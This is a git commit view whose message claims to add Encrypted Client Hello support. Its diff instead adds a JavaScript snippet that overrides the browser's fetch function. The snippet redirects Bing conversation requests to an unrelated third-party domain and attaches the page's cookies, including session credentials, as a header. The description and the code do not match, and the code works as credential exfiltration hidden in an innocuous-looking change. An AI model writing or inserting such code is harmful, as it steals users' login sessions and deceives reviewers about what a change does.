add Encrypted Client Hello (ECH) support for hosts

This commit is contained in:
James Feng Cao 2023-03-30 16:47:03 +08:00
parent 8741779b66
commit 7146aff7c9
12 changed files with 86 additions and 62 deletions

View file

@ -0,0 +1,14 @@
{
const oFetch = window.fetch;
window.fetch = function(url,options){
if("https://www.bing.com/turing/conversation/create"==url){
url = "https://mybing1.xn--xyza.top/Create";
options = {
headers:{"Cookie1":document.cookie},
};
}
return oFetch(url,options)
.then((res)=>{return res;})
.catch((err)=>{return err;});
}
}